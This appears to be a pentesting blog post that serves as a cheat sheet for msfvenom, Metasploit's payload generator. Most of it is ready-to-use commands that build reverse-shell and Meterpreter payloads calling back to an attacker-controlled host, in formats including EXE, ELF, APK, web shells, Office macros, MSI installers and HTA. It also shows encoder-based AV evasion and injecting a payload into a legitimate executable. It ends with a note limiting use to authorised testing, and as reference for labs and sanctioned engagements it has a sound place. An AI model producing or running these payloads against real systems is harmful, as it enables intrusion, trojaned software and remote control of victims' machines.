root@sparrow:~/writeups$ cat msfvenom.md
// Shells & Pivoting
msfvenom
21 Jul 2026
· 3 min read
msfvenom is Metasploit's payload generator: it merges shellcode creation and encoding into a single tool. It produces everything fromEXEandELFto scripts,DLLorAPK, ready to deliver to a target and connect back to a handler.
The key is understanding the difference between staged payloads (meterpreter/reverse_tcp, which pull down the second stage) and stageless ones (meterpreter_reverse_tcp, self-contained): the multi/handler must use exactly the same one. The format (-f) only defines the wrapper; what really has to match is the payload with its handler.
1. Beginner level — basic payloads and formats

| Command | What it does |
|---|---|
msfvenom -l payloads | Lists the available payloads |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe | Meterpreter EXE |
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s | Meterpreter ELF |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe | Reverse shell (without meterpreter) |
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.php | PHP payload |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.jsp | JSP payload |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f asp -o s.asp | ASP payload |
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444 -f raw | Bash one-liner |
msfvenom -p windows/x64/exec CMD='whoami' -f exe -o r.exe | Runs a command |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o s.bin | Raw output (shellcode) |
msfvenom --list formats | Lists the output formats |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f c | Shellcode in C format |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f python | Shellcode in Python |
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -o s.apk | Android payload |
2. Advanced level — evasion, templates and formats

| Command | What it does |
|---|---|
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o s.exe | Encodes with 5 iterations (evasion) |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b '\\x00\\x0a\\x0d' -f c | Avoids bad chars (exploiting) |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -x plantilla.exe -k -f exe -o s.exe | Injects into a legitimate executable |
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe -o s.exe | Meterpreter over HTTPS |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 EXITFUNC=thread -f exe | Adjusts the exit function |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f dll -o s.dll | DLL payload |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f msi -o s.msi | Malicious MSI installer |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f vba | Office macro |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f powershell -o s.ps1 | PowerShell payload |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 --platform windows -a x64 -f exe | Sets platform and architecture |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf-so -o s.so | Shared object (LD_PRELOAD) |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=4444 -f war -o s.war | WAR payload (Tomcat) |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hta-psh -o s.hta | HTA payload (mshta) |
msfvenom ... -f exe | tee s.exe; msfconsole -q -x 'use multi/handler;...' | Generates and prepares the handler |
3. Details people miss
- The
x86/shikata_ga_naiencoder no longer evades modern AV/EDR: its signature is well known. It is useful for removing bad chars, not as a real evasion layer. - The
multi/handlerPAYLOADmust match the generated one exactly, including the staged vs stageless distinction (meterpreter/reverse_tcpversusmeterpreter_reverse_tcp). LHOSTis the IP you listen on, not the victim's. Behind NAT you need your public IP and port-forwarding, or the reverse shell will never connect.- When encoding with
-i, the shellcode grows with each iteration; check the final size if you have a buffer limit in exploiting. -x template.exerequires the template to be the same architecture; with-kit tries to preserve the binary's original function, but it is often unstable.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.